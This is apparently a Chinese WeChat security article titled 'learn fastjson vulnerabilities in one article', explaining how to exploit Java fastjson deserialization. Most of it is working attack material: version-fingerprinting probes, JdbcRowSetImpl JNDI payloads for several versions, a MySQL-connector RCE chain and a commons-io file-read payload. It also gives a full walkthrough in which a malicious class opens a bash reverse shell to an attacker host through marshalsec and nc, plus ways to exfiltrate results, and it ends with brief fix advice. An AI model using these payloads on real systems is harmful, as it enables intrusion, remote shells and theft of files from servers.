目录
漏洞简介
漏洞利用
1、判断fastjson版本
1)不同版本的fastjson适用的payload不同,可以根据可使用的payload来判断版本,例如 <1.2.43支持:
{"@type":"java.net.URL","val":"http://dnslog"}
<1.2.48支持:
{"@type":"java.net.InetAddress","val":"http://dnslog"}
2)有些通过报错信息返回fastjson版本,破坏json结构,导致报错:
{"@type":"java.lang.AutoCloseable"
2、<=1.2.24 payload
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://vps_ip:port/TouchFile",
"autoCommit":true
}
{
"a":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://vps_ip:port/TouchFile",
"autoCommit":true
}
}
{
"@type":"com.alibaba.fastjson.JSONObject",
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://vps_ip:port/TouchFile",
"autoCommit":true
}
}
3、<=1.2.47 payload
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://vps_ip:port/TouchFile",
"autoCommit":true
}
}
{
"@type":"com.alibaba.fastjson.JSONObject",
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://vps_ip:port/TouchFile",
"autoCommit":true
}
}
}
4、高版本payload
1)autotype原理
2)判断autotype是否开启
{"@type":"java.net.URL","val":"http://dnslog"}
3)判断哪些类可以使用
{"@type":"com.sun.rowset.JdbcRowSetImpl"}
4)如下两种类不在Mapping中,但是在白名单中,在autotype关闭的情况下,可以利用:一个是mysql的连接类:com.mysql.jdbc.JDBC4Connection(可RCE)、另一个是commons-io的类:org.apache.commons.io.input.BOMInputStream(可读取文件)
5)利用MYSQL连接类
{
"a":{
"@type":"com.alibaba.fastjson.JSONObject",
{
{
"@type":"java.lang.AutoCloseable",
"@type":"com.mysql.jdbc.JDBC4Connection",
"hostToConnectTo":"vps_ip",
"portToConnectTo":3306,
"info":{
"user":"yso_CommonsCollections5_calc",
"password":"pass",
"statementInterceptors":"com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",
"autoDeserialize":"true",
"NUM_HOSTS":"1"
},
"databaseToConnectTo":"dbname",
"url":""
}
}
}
}
其中info中的user字段的值为ysoserial的利用链类型,根据情况选择;
6)利用commons-io
{
"a":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.BOMInputStream",
"delegate":{
"@type":"org.apache.commons.io.input.ReaderInputStream",
"reader":{
"@type":"jdk.nashorn.api.scripting.URLReader",
"url":"netdoc:///e:/readfile/"
},
"charsetName":"UTF-8",
"bufferSize":1024
},
"boms":[{
"charsetName":"UTF-8",
"bytes":[99]
}]
},
"address":{
"$ref":"$.abc.BOM"
}
}
其中url字段的值为想要读取的路径;bytes数组的值为路径名称的ASCII码
5、RCE过程
1)准备恶意的java文件TouchFile.java
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/vps_ip/2333 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
2)将java文件编译为class
javac TouchFile.java
3)在class文件所在目录,开启http服务
python -m SimpleHTTPServer 80
4)开启RMI服务
使用工具:marshalsec
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://vps_ip/#TouchFile 9999
其中http://vps_ip/#TouchFile 是刚刚开启的http服务,下载恶意类TouchFile
9999是开启RMI服务的端口
5)开启nc监听
nc -lvp 2333
6)访问漏洞点,提交payload
{
"a":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://vps_ip:9999/TouchFile",
"autoCommit":true
}
}
7)触发exp,成功反弹shell
fastjson不出网无回显
关键在于利用间接方式回显信息
1、写文件,将结果保存在网站文件中,例如js文件中,然后访问js文件获得结果
2、利用内网服务,将结果发送到内网服务器或数据库
3、利用持久化手段,例如定时任务、RMI等
修复建议
1、禁用autotype功能,防止加载不受信任的类
2、升级fastjson版本
3、对外部输入做严格验证,确保只反序列化信任的数据源
4、限制反序列化过程中的代码执行权限
END
查看更多精彩内容,关注simple学安全
原文始发于微信公众号(simple学安全):一文学会fastjson漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论